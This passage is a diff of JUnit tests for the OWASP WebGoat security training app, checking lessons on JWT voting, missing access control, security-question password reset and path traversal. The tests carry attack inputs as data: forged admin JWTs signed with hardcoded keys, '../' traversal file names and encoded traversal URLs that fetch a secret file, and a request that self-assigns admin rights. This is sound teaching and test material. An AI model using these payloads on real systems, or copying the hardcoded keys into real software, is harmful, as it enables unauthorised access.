.andExpect(jsonPath("$[0].average").doesNotExist());
}
@Test
public void tomShouldBeAbleToVote() throws Exception {
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings/login")
.contentType(MediaType.APPLICATION_JSON)
.param("user", "Tom"))
.andExpect(status().isOk()).andReturn();
Cookie cookie = result.getResponse().getCookie("access_token");
result = mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings")
.cookie(cookie))
.andExpect(status().isOk())./*andDo(print()).*/andReturn();
Object[] nodes = new ObjectMapper().readValue(result.getResponse().getContentAsString(), Object[].class);
int currentNumberOfVotes = (int) findNodeByTitle(nodes, "Admin lost password").get("numberOfVotes");
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/Admin lost password")
.cookie(cookie))
.andExpect(status().isAccepted());
result = mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings")
.cookie(cookie))
.andExpect(status().isOk()).andReturn();
nodes = new ObjectMapper().readValue(result.getResponse().getContentAsString(), Object[].class);
int numberOfVotes = (int) findNodeByTitle(nodes, "Admin lost password").get("numberOfVotes");
assertThat(numberOfVotes).isEqualTo(currentNumberOfVotes + 1);
}
private Map<String, Object> findNodeByTitle(Object[] nodes, String title) {
for (Object n : nodes) {
Map<String, Object> node = (Map<String, Object>) n;
if (node.get("title").equals(title)) {
return node;
}
}
return null;
}
@Test
public void guestShouldNotBeAbleToVote() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/Admin lost password")
.cookie(new Cookie("access_token", "")))
.andExpect(status().isUnauthorized());
}
@Test
public void unknownUserWithValidTokenShouldNotBeAbleToVote() throws Exception {
Claims claims = Jwts.claims();
claims.put("admin", "true");
claims.put("user", "Intruder");
String token = Jwts.builder().signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD).setClaims(claims).compact();
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/Admin lost password")
.cookie(new Cookie("access_token", token)))
.andExpect(status().isUnauthorized());
}
@Test
public void unknownUserShouldSeeGuestView() throws Exception {
Claims claims = Jwts.claims();
claims.put("admin", "true");
claims.put("user", "Intruder");
String token = Jwts.builder().signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD).setClaims(claims).compact();
mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings/")
.cookie(new Cookie("access_token", token)))
.andExpect(status().isOk())
.andExpect(jsonPath("$[0].numberOfVotes").doesNotExist())
.andExpect(jsonPath("$[0].votingAllowed").doesNotExist())
.andExpect(jsonPath("$[0].average").doesNotExist());
}
}

View File

@ -0,0 +1,75 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.jwt;
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.JwsHeader;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SigningKeyResolverAdapter;
import io.jsonwebtoken.impl.TextCodec;
import lombok.extern.slf4j.Slf4j;
import org.junit.jupiter.api.Test;
import java.time.Duration;
import java.time.Instant;
import java.util.Date;
import java.util.Map;
import java.util.concurrent.TimeUnit;
@Slf4j
public class TokenTest {
@Test
public void test() {
String key = "qwertyqwerty1234";
Map<String, Object> claims = Map.of("username", "Jerry", "aud", "webgoat.org", "email", "jerry@webgoat.com");
String token = Jwts.builder()
.setHeaderParam("kid", "webgoat_key")
.setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))
.setClaims(claims)
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, key).compact();
log.debug(token);
Jwt jwt = Jwts.parser().setSigningKey("qwertyqwerty1234").parse(token);
jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {
@Override
public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
return TextCodec.BASE64.decode(key);
}
}).parse(token);
}
@Test
public void testRefresh() {
Instant now = Instant.now(); //current date
Claims claims = Jwts.claims().setIssuedAt(Date.from(now.minus(Duration.ofDays(10))));
claims.setExpiration(Date.from(now.minus(Duration.ofDays(9))));
claims.put("admin", "false");
claims.put("user", "Tom");
String token = Jwts.builder().setClaims(claims)
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, "bm5n3SkxCX4kKRy4")
.compact();
log.debug(token);
}
}

View File

@ -0,0 +1,45 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.missing_ac;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.lessons.missing_ac.DisplayUser;
import org.owasp.webgoat.lessons.missing_ac.User;
import static org.owasp.webgoat.lessons.missing_ac.MissingFunctionAC.PASSWORD_SALT_SIMPLE;
class DisplayUserTest {
@Test
void testDisplayUserCreation() {
DisplayUser displayUser = new DisplayUser(new User("user1", "password1", true), PASSWORD_SALT_SIMPLE);
Assertions.assertThat(displayUser.isAdmin()).isTrue();
}
@Test
void testDisplayUserHash() {
DisplayUser displayUser = new DisplayUser(new User("user1", "password1", false), PASSWORD_SALT_SIMPLE);
Assertions.assertThat(displayUser.getUserHash()).isEqualTo("cplTjehjI/e5ajqTxWaXhU5NW9UotJfXj+gcbPvfWWc=");
}
}

View File

@ -0,0 +1,76 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.missing_ac;
import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.junit.jupiter.MockitoExtension;
import org.owasp.webgoat.container.assignments.AssignmentEndpointTest;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
@ExtendWith(MockitoExtension.class)
public class MissingFunctionACHiddenMenusTest extends AssignmentEndpointTest {
private MockMvc mockMvc;
@BeforeEach
public void setup() {
MissingFunctionACHiddenMenus hiddenMenus = new MissingFunctionACHiddenMenus();
init(hiddenMenus);
this.mockMvc = standaloneSetup(hiddenMenus).build();
}
@Test
public void HiddenMenusSuccess() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/access-control/hidden-menu")
.param("hiddenMenu1", "Users")
.param("hiddenMenu2", "Config"))
.andExpect(jsonPath("$.feedback", CoreMatchers.is(pluginMessages.getMessage("access-control.hidden-menus.success"))))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
}
@Test
public void HiddenMenusClose() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/access-control/hidden-menu")
.param("hiddenMenu1", "Config")
.param("hiddenMenu2", "Users"))
.andExpect(jsonPath("$.feedback", CoreMatchers.is(pluginMessages.getMessage("access-control.hidden-menus.close"))))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
@Test
public void HiddenMenusFailure() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/access-control/hidden-menu")
.param("hiddenMenu1", "Foo")
.param("hiddenMenu2", "Bar"))
.andExpect(jsonPath("$.feedback", CoreMatchers.is(pluginMessages.getMessage("access-control.hidden-menus.failure"))))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
}

View File

@ -0,0 +1,72 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.missing_ac;
import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.owasp.webgoat.lessons.missing_ac.MissingFunctionAC;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import static org.hamcrest.Matchers.hasSize;
import static org.hamcrest.Matchers.is;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
class MissingFunctionACUsersTest extends LessonTest {
@BeforeEach
void setup() {
when(webSession.getCurrentLesson()).thenReturn(new MissingFunctionAC());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
}
@Test
void getUsers() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/access-control/users")
.header("Content-type", "application/json"))
.andExpect(status().isOk())
.andExpect(jsonPath("$[0].username", CoreMatchers.is("Tom")))
.andExpect(jsonPath("$[0].userHash", CoreMatchers.is("Mydnhcy00j2b0m6SjmPz6PUxF9WIeO7tzm665GiZWCo=")))
.andExpect(jsonPath("$[0].admin", CoreMatchers.is(false)));
}
@Test
void addUser() throws Exception {
var user = """
{"username":"newUser","password":"newUser12","admin": "true"}
""";
mockMvc.perform(MockMvcRequestBuilders.post("/access-control/users")
.header("Content-type", "application/json").content(user))
.andExpect(status().isOk());
mockMvc.perform(MockMvcRequestBuilders.get("/access-control/users")
.header("Content-type", "application/json"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.size()", is(4)));
}
}

View File

@ -0,0 +1,44 @@
package org.owasp.webgoat.lessons.missing_ac;
import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.owasp.webgoat.lessons.missing_ac.DisplayUser;
import org.owasp.webgoat.lessons.missing_ac.MissingFunctionAC;
import org.owasp.webgoat.lessons.missing_ac.User;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import static org.mockito.Mockito.when;
import static org.owasp.webgoat.lessons.missing_ac.MissingFunctionAC.PASSWORD_SALT_ADMIN;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
class MissingFunctionACYourHashAdminTest extends LessonTest {
@BeforeEach
public void setup() {
when(webSession.getCurrentLesson()).thenReturn(new MissingFunctionAC());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
}
@Test
void solve() throws Exception {
var userHash = new DisplayUser(new User("Jerry", "doesnotreallymatter", true), PASSWORD_SALT_ADMIN).getUserHash();
mockMvc.perform(MockMvcRequestBuilders.post("/access-control/user-hash-fix")
.param("userHash", userHash))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.containsString("Congrats! You really succeeded when you added the user.")))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
}
@Test
void wrongUserHash() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/access-control/user-hash-fix")
.param("userHash", "wrong"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
}

View File

@ -0,0 +1,61 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.missing_ac;
import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.owasp.webgoat.lessons.missing_ac.MissingFunctionAC;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
class MissingFunctionYourHashTest extends LessonTest {
@BeforeEach
public void setup() {
when(webSession.getCurrentLesson()).thenReturn(new MissingFunctionAC());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
}
@Test
void hashDoesNotMatch() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/access-control/user-hash")
.param("userHash", "42"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
@Test
void hashMatches() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/access-control/user-hash")
.param("userHash", "SVtOlaa+ER+w2eoIIVE5/77umvhcsh5V8UyDLUa1Itg="))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
}
}

View File

@ -0,0 +1,83 @@
package org.owasp.webgoat.lessons.password_reset;
import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.springframework.mock.web.MockHttpSession;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
@ExtendWith(SpringExtension.class)
public class SecurityQuestionAssignmentTest extends LessonTest {
private MockMvc mockMvc;
@BeforeEach
public void setup() {
when(webSession.getCurrentLesson()).thenReturn(new PasswordReset());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
}
@Test
public void oneQuestionShouldNotSolveTheAssignment() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/PasswordReset/SecurityQuestions")
.param("question", "What is your favorite animal?"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("password-questions-one-successful"))))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)))
.andExpect(jsonPath("$.output", CoreMatchers.notNullValue()));
}
@Test
public void twoQuestionsShouldSolveTheAssignment() throws Exception {
MockHttpSession mocksession = new MockHttpSession();
mockMvc.perform(MockMvcRequestBuilders.post("/PasswordReset/SecurityQuestions")
.param("question", "What is your favorite animal?").session(mocksession))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
mockMvc.perform(MockMvcRequestBuilders.post("/PasswordReset/SecurityQuestions")
.param("question", "In what year was your mother born?").session(mocksession))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved"))))
.andExpect(jsonPath("$.output", CoreMatchers.notNullValue()))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
}
@Test
public void answeringSameQuestionTwiceShouldNotSolveAssignment() throws Exception {
MockHttpSession mocksession = new MockHttpSession();
mockMvc.perform(MockMvcRequestBuilders.post("/PasswordReset/SecurityQuestions")
.param("question", "What is your favorite animal?").session(mocksession))
.andExpect(status().isOk());
mockMvc.perform(MockMvcRequestBuilders.post("/PasswordReset/SecurityQuestions")
.param("question", "What is your favorite animal?").session(mocksession))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("password-questions-one-successful"))))
.andExpect(jsonPath("$.output", CoreMatchers.notNullValue()))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
@Test
public void solvingForOneUserDoesNotSolveForOtherUser() throws Exception {
MockHttpSession mocksession = new MockHttpSession();
mockMvc.perform(MockMvcRequestBuilders.post("/PasswordReset/SecurityQuestions")
.param("question", "What is your favorite animal?").session(mocksession));
mockMvc.perform(MockMvcRequestBuilders.post("/PasswordReset/SecurityQuestions")
.param("question", "In what year was your mother born?").session(mocksession))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
MockHttpSession mocksession2 = new MockHttpSession();
mockMvc.perform(MockMvcRequestBuilders.post("/PasswordReset/SecurityQuestions")
.param("question", "What is your favorite animal?").session(mocksession2)).
andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
}

View File

@ -0,0 +1,55 @@
package org.owasp.webgoat.lessons.path_traversal;
import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.Mockito;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.owasp.webgoat.lessons.path_traversal.PathTraversal;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.mock.web.MockMultipartFile;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import java.io.File;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
public class ProfileUploadFixTest extends LessonTest {
@BeforeEach
public void setup() {
Mockito.when(webSession.getCurrentLesson()).thenReturn(new PathTraversal());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
Mockito.when(webSession.getUserName()).thenReturn("unit-test");
}
@Test
public void solve() throws Exception {
var profilePicture = new MockMultipartFile("uploadedFileFix", "../picture.jpg", "text/plain", "an image".getBytes());
mockMvc.perform(MockMvcRequestBuilders.multipart("/PathTraversal/profile-upload-fix")
.file(profilePicture)
.param("fullNameFix", "..././John Doe"))
.andExpect(status().is(200))
.andExpect(jsonPath("$.assignment", CoreMatchers.equalTo("ProfileUploadFix")))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
}
@Test
public void normalUpdate() throws Exception {
var profilePicture = new MockMultipartFile("uploadedFileFix", "picture.jpg", "text/plain", "an image".getBytes());
mockMvc.perform(MockMvcRequestBuilders.multipart("/PathTraversal/profile-upload-fix")
.file(profilePicture)
.param("fullNameFix", "John Doe"))
.andExpect(status().is(200))
.andExpect(jsonPath("$.feedback", CoreMatchers.containsString("unit-test\\"+File.separator+"John Doe")))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
}

View File

@ -0,0 +1,54 @@
package org.owasp.webgoat.lessons.path_traversal;
import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.Mockito;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.owasp.webgoat.lessons.path_traversal.PathTraversal;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.mock.web.MockMultipartFile;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import java.io.File;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
public class ProfileUploadRemoveUserInputTest extends LessonTest {
@BeforeEach
public void setup() {
Mockito.when(webSession.getCurrentLesson()).thenReturn(new PathTraversal());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
Mockito.when(webSession.getUserName()).thenReturn("unit-test");
}
@Test
public void solve() throws Exception {
var profilePicture = new MockMultipartFile("uploadedFileRemoveUserInput", "../picture.jpg", "text/plain", "an image".getBytes());
mockMvc.perform(MockMvcRequestBuilders.multipart("/PathTraversal/profile-upload-remove-user-input")
.file(profilePicture)
.param("fullNameFix", "John Doe"))
.andExpect(status().is(200))
.andExpect(jsonPath("$.assignment", CoreMatchers.equalTo("ProfileUploadRemoveUserInput")))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
}
@Test
public void normalUpdate() throws Exception {
var profilePicture = new MockMultipartFile("uploadedFileRemoveUserInput", "picture.jpg", "text/plain", "an image".getBytes());
mockMvc.perform(MockMvcRequestBuilders.multipart("/PathTraversal/profile-upload-remove-user-input")
.file(profilePicture)
.param("fullNameFix", "John Doe"))
.andExpect(status().is(200))
.andExpect(jsonPath("$.feedback", CoreMatchers.containsString("unit-test\\"+File.separator+"picture.jpg")))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
}

View File

@ -0,0 +1,82 @@
package org.owasp.webgoat.lessons.path_traversal;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.Mockito;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.owasp.webgoat.lessons.path_traversal.PathTraversal;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.MediaType;
import org.springframework.security.core.token.Sha512DigestUtils;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import java.io.File;
import java.net.URI;
import static org.hamcrest.CoreMatchers.equalTo;
import static org.hamcrest.CoreMatchers.is;
import static org.hamcrest.Matchers.containsString;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.content;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.header;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
public class ProfileUploadRetrievalTest extends LessonTest {
@BeforeEach
public void setup() {
Mockito.when(webSession.getCurrentLesson()).thenReturn(new PathTraversal());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
Mockito.when(webSession.getUserName()).thenReturn("unit-test");
}
@Test
public void solve() throws Exception {
//Look at the response
mockMvc.perform(get("/PathTraversal/random-picture"))
.andExpect(status().is(200))
.andExpect(header().exists("Location"))
.andExpect(header().string("Location", containsString("?id=")))
.andExpect(content().contentTypeCompatibleWith(MediaType.IMAGE_JPEG));
//Browse the directories
var uri = new URI("/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2F");
mockMvc.perform(get(uri))
.andExpect(status().is(404))
.andDo(MockMvcResultHandlers.print())
.andExpect(content().string(containsString("path-traversal-secret.jpg")));
//Retrieve the secret file (note: .jpg is added by the server)
uri = new URI("/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret");
mockMvc.perform(get(uri))
.andExpect(status().is(200))
.andExpect(content().string("You found it submit the SHA-512 hash of your username as answer"))
.andExpect(content().contentTypeCompatibleWith(MediaType.IMAGE_JPEG));
//Post flag
mockMvc.perform(post("/PathTraversal/random").param("secret", Sha512DigestUtils.shaHex("unit-test")))
.andExpect(status().is(200))
.andExpect(jsonPath("$.assignment", equalTo("ProfileUploadRetrieval")))
.andExpect(jsonPath("$.lessonCompleted", is(true)));
}
@Test
public void shouldReceiveRandomPicture() throws Exception {
mockMvc.perform(get("/PathTraversal/random-picture"))
.andExpect(status().is(200))
.andExpect(header().exists("Location"))
.andExpect(content().contentTypeCompatibleWith(MediaType.IMAGE_JPEG));
}
@Test
public void unknownFileShouldGiveDirectoryContents() throws Exception {
mockMvc.perform(get("/PathTraversal/random-picture?id=test"))
.andExpect(status().is(404))
.andExpect(content().string(containsString("cats" + File.separator + "8.jpg")));
}
}

View File

@ -0,0 +1,79 @@
package org.owasp.webgoat.lessons.path_traversal;
import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.Mockito;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.owasp.webgoat.lessons.path_traversal.PathTraversal;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.mock.web.MockMultipartFile;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import java.io.File;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
public class ProfileUploadTest extends LessonTest {
@BeforeEach
public void setup() {
Mockito.when(webSession.getCurrentLesson()).thenReturn(new PathTraversal());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
Mockito.when(webSession.getUserName()).thenReturn("unit-test");
}
@Test
public void solve() throws Exception {
var profilePicture = new MockMultipartFile("uploadedFile", "../picture.jpg", "text/plain", "an image".getBytes());
mockMvc.perform(MockMvcRequestBuilders.multipart("/PathTraversal/profile-upload")
.file(profilePicture)
.param("fullName", "../John Doe"))
.andExpect(status().is(200))
.andExpect(jsonPath("$.assignment", CoreMatchers.equalTo("ProfileUpload")))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
}
@Test
public void attemptWithWrongDirectory() throws Exception {
var profilePicture = new MockMultipartFile("uploadedFile", "../picture.jpg", "text/plain", "an image".getBytes());
mockMvc.perform(MockMvcRequestBuilders.multipart("/PathTraversal/profile-upload")
.file(profilePicture)
.param("fullName", "../../" + webSession.getUserName()))
.andExpect(status().is(200))
.andExpect(jsonPath("$.assignment", CoreMatchers.equalTo("ProfileUpload")))
.andExpect(jsonPath("$.feedback", CoreMatchers.containsString("Nice try")))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
@Test
public void shouldNotOverrideExistingFile() throws Exception {
var profilePicture = new MockMultipartFile("uploadedFile", "picture.jpg", "text/plain", "an image".getBytes());
mockMvc.perform(MockMvcRequestBuilders.multipart("/PathTraversal/profile-upload")
.file(profilePicture)
.param("fullName", ".."+File.separator + webSession.getUserName()))
.andExpect(jsonPath("$.output", CoreMatchers.anyOf(
CoreMatchers.containsString("Is a directory"),
CoreMatchers.containsString("..\\\\"+ webSession.getUserName()))))
.andExpect(status().is(200));
}
@Test
public void normalUpdate() throws Exception {
var profilePicture = new MockMultipartFile("uploadedFile", "picture.jpg", "text/plain", "an image".getBytes());
mockMvc.perform(MockMvcRequestBuilders.multipart("/PathTraversal/profile-upload")
.file(profilePicture)
.param("fullName", "John Doe"))
.andExpect(status().is(200))
.andExpect(jsonPath("$.feedback", CoreMatchers.containsStringIgnoringCase("PathTraversal\\"+File.separator+"unit-test\\"+File.separator+"John Doe")))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
}

View File

